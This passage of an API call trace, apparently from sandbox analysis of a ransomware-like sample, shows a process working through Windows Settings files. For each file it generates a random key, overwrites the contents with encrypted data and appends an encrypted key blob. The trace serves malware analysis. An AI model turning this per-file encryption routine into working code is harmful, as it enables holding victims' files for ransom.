ftLastAccessTime.dwLowDateTime=0x2d301387, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Keyboard_IsCompatibilityKeyboardEnabled.settingcontent-ms", cAlternateFileName="AA7448~1.SET")) returned 1 [0194.096] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d7ec0e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2d7ec0e4, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Keyboard_IsDoubleTapSpaceEnabled.settingcontent-ms", cAlternateFileName="AAEECF~1.SET")) returned 1 [0194.203] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.203] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.203] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\SettingsPane_{4B719A8A-CE18-4033-BE59-1083B40F25B7}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.204] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6b08, nNumberOfBytesToRead=0x34e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6b08*, lpNumberOfBytesRead=0x2e1f9bc*=0x34e, lpOverlapped=0x0) returned 1 [0194.211] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-846, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.211] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x34e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x34e, lpOverlapped=0x0) returned 1 [0194.212] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x34e [0194.212] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.212] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.213] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.213] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.214] CloseHandle (hObject=0x1c24) returned 1 [0194.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.220] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\NameSpace_Classic_{F942C606-0914-47AB-BE56-1321B8035096}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.221] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6b08, nNumberOfBytesToRead=0x444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6b08*, lpNumberOfBytesRead=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0194.230] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.230] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0194.231] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x444 [0194.231] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.231] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.231] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.232] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.232] CloseHandle (hObject=0x1c24) returned 1 [0194.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.234] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0194.234] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\NameSpace_Classic_{D8559EB9-20C0-410E-BEDA-7ED416AECC2A}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.235] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6b08, nNumberOfBytesToRead=0x479, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6b08*, lpNumberOfBytesRead=0x2e1f9bc*=0x479, lpOverlapped=0x0) returned 1 [0194.237] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1145, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.238] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x479, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x479, lpOverlapped=0x0) returned 1 [0194.238] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x479 [0194.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.238] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.239] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.239] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.239] CloseHandle (hObject=0x1c24) returned 1 [0194.241] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.241] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.241] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\NameSpace_Classic_{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.241] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6b08, nNumberOfBytesToRead=0x45a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6b08*, lpNumberOfBytesRead=0x2e1f9bc*=0x45a, lpOverlapped=0x0) returned 1 [0194.243] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1114, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.243] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x45a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45a, lpOverlapped=0x0) returned 1 [0194.243] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45a [0194.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.244] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.244] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.244] CloseHandle (hObject=0x1c24) returned 1 [0194.246] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.246] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.246] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\NameSpace_Classic_{7b81be6a-ce2b-4676-a29e-eb907a5126c5}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.246] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6b08, nNumberOfBytesToRead=0x464, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6b08*, lpNumberOfBytesRead=0x2e1f9bc*=0x464, lpOverlapped=0x0) returned 1 [0194.247] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1124, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.247] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x464, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x464, lpOverlapped=0x0) returned 1 [0194.248] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x464 [0194.248] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.248] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.248] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.249] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.249] CloseHandle (hObject=0x1c24) returned 1 [0194.250] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.250] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.250] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\NameSpace_Classic_{6C8EEC18-8D75-41B2-A177-8831D59D2D50}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.251] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6b08, nNumberOfBytesToRead=0x44d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6b08*, lpNumberOfBytesRead=0x2e1f9bc*=0x44d, lpOverlapped=0x0) returned 1 [0194.252] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.252] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x44d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x44d, lpOverlapped=0x0) returned 1 [0194.255] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x44d [0194.255] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.255] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.256] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.256] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.256] CloseHandle (hObject=0x1c24) returned 1 [0194.259] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.259] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0194.259] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\NameSpace_Classic_{60632754-c523-4b62-b45c-4172da012619}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.259] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6b08, nNumberOfBytesToRead=0x458, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6b08*, lpNumberOfBytesRead=0x2e1f9bc*=0x458, lpOverlapped=0x0) returned 1 [0194.260] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.260] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x458, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x458, lpOverlapped=0x0) returned 1 [0194.261] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x458 [0194.261] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.261] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.261] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.261] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.261] CloseHandle (hObject=0x1c24) returned 1 [0194.263] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0194.263] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.263] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\NameSpace_Classic_{025A5937-A6BE-4686-A844-36FE4BEC8B6D}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.263] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6b08, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6b08*, lpNumberOfBytesRead=0x2e1f9bc*=0x45c, lpOverlapped=0x0) returned 1 [0194.264] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1116, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.264] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x45c, lpOverlapped=0x0) returned 1 [0194.265] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x45c [0194.265] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.265] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.265] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.265] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.265] CloseHandle (hObject=0x1c24) returned 1 [0194.267] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0194.267] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0194.267] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\NameSpace_Classic_0_FlashPlayerCPLApp.cpl.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.267] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x3f8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f8, lpOverlapped=0x0) returned 1 [0194.268] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.268] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3f8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f8, lpOverlapped=0x0) returned 1 [0194.268] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f8 [0194.269] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.269] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.269] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.269] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0194.269] CloseHandle (hObject=0x1c24) returned 1 [0194.271] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0194.271] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0194.271] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\CortanaSettings.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0194.306] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6a90, nNumberOfBytesToRead=0x306, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a90*, lpNumberOfBytesRead=0x2e1f9bc*=0x306, lpOverlapped=0x0) returned 1 [0194.311] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-774, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.311] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x306, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x306, lpOverlapped=0x0) returned 1 [0194.312] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x306 [0194.312] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0194.312] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0194.312] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0194.312] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 